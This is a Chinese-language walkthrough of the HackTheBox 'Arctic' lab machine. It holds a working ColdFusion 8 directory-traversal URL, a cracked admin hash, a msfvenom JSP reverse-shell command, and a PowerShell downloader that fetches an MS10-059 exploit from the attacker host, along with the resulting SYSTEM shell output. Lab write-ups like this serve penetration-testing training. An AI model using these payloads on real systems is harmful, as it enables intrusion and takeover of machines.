當前位置:
首頁 > 新聞 > HackTheBox Writeup(上)

HackTheBox Writeup(上)

之前一段時間,我搭建了這個環境,它是我第一次啟動HackTheBox時做的第一個事情。我最近幫助了一個在這個環境里工作的人,所以我決定整理一下我的筆記,因為它們有點亂,並且重新組織它們來進行適當的寫作。

初始枚舉

首先,讓我們從一個快速的nmap掃描開始。

root@kali:~/htb/arctic# nmap -sV 10.10.10.11

Nmap scan report for 10.10.10.11

Host is up (0.065s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

8500/tcp open http JRun Web Server

49154/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

埠8500看起來很有趣。讓我們用瀏覽器看一下。

管理員目錄為我們提供了ColdFusion 8的登錄入口。

漏洞利用

在線快速搜索後,我們發現ColdFusion 8存在目錄遍歷的漏洞。ColdFusion 8還將管理員散列本地存儲在名為password.properties的文件中。因此,我們可以使用以下URL使用目錄遍歷來獲取管理員散列:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

我們在瀏覽器中獲得了這個輸出。

所以我們有一個散列 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

使用hash-identifier這個工具我們可以看到散列很可能是SHA-1。

Google在線快速搜索一下可以得到破解的密碼 - happyday。一般來說在啟動hashcat破解之前使用搜索引擎可以很容易得到明文密碼。

在登錄頁面的內部,有一個區域允許我們通過調試和記錄類別下的計劃任務來上傳文件。

計劃的任務設置使你可以從Web伺服器下載文件並在本地保存輸出。在Mappings下,我們可以驗證CFIDE的路徑,所以我們知道我們可以在哪裡保存一個shell。

此時我們需要生成一個shell。我們可以上傳一個cfexec.cfm shell(位於Kali的/usr/share/webshells/cfm中)來執行命令,或者我們可以通過上傳JSP shell來獲得完整的shell,因為ColdFusion將提供並運行JSP文件。

要生成一個JSP shell,我們使用msfvenom並設置相應地參數。

root@kali:~/htb/arctic# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp

Payload size: 1496 byte

現在我們創建了我們的shell,讓我們使用python SimpleHTTPServer從Kali提供文件下載。

root@kali:~/htb/arctic# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...

在ColdFusion管理控制台中,我們為計劃任務配置了三個參數。

·將URL設置為承載JSP Shell的Web伺服器

·選中將輸出保存到文件的複選框

·將文件設置為C:ColdFusion8wwwrootCFIDEshell.jsp

提交後,我們在Actions下按需運行任務,並且我們可以在我們的python http伺服器上看到一個200的響應。

啟動一個netcat監聽器,我們現在可以瀏覽到我們的shell

http://10.10.10.11:8500/CFIDE/shell.jsp

root@kali:~/htb/arctic# nc -lvnp 443

listening on [any] 443 ...

connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49212

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:ColdFusion8
untimein>whoami & hostname

whoami & hostname

arctic olis

arctic

我們可以在tolis的桌面上抓取user.txt標誌。

特權升級

Tolis似乎不是系統管理員,所以我們需要升級許可權。我一般在Windows上為特權升級做的第一件事是獲取系統信息,以便我們可以識別操作系統並查看是否缺少任何補丁。

從這裡我們確定該機器正在運行Server 2008 R2,並且根據Hotfix(s)下的輸出沒有安裝任何修補程序。內容很多!讓我們看看我們能找到什麼樣的漏洞。從這裡你可以使用Google,使用Exploit-DB,searchsploit,或者對於Windows,我喜歡使用一個名為Windows Exploit Suggester的東西,它使提權變得簡單。我不會詳細介紹如何使用它,請檢查github以查看使用情況以及所有可以使用的信息。

在查看了輸出之後,我發現了一些可以工作的特權升級漏洞。我決定研究MS10-059。

https://www.exploit-db.com/exploits/14610/

Exploit-DB下載只包含源文件並且沒有編譯的exe文件。不知道是出於何種原因,這個Exp還有另外一個名稱——Chimichurri,我在Exploit – DB上使用這個名稱搜索了一下,找到了一個編譯好的exe,在Github的 這裡。請注意,通常你要自己編譯一些東西,但是如果沒有安裝大量的東西,我就無法自己做這件事,所以我決定放棄它。根據源代碼,它看起來像利用我們的IP地址和期望的埠作為參數來向我們發送反向shell。

我們再一次在Kali上設置了一個python http伺服器,並把Exp下載到我們的目標中,一個簡單的powershell腳本就可以實現。

C:ColdFusion8>echo $webclient = New-Object System.Net.WebClient >>wget.ps1

C:ColdFusion8>echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1

C:ColdFusion8>echo $file = "exploit.exe" >>wget.ps1

C:ColdFusion8>echo $webclient.DownloadFile($url,$file) >>wget.ps1

C:ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

我們驗證下載,啟動一個netcat監聽器,並運行漏洞利用。

C:ColdFusion8>exploit.exe 10.10.14.10 443

/Chimichurri/-->This exploit gives you a Local System shell

/Chimichurri/-->Changing registry values...

/Chimichurri/-->Got SYSTEM token...

/Chimichurri/-->Running reverse shell...

/Chimichurri/-->Restoring default registry values...

root@kali:~/htb/arctic# nc -lvnp 443

listening on [any] 443 ...

connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49267

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:ColdFusion8>whoami & hostname

whoami & hostname

nt authoritysystem

arctic

現在我們可以獲取管理員桌面上的root.txt 里的Flag。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

如何提取Google Chrome中的密碼?
Spectre 攻擊詳解

TAG:嘶吼RoarTalk |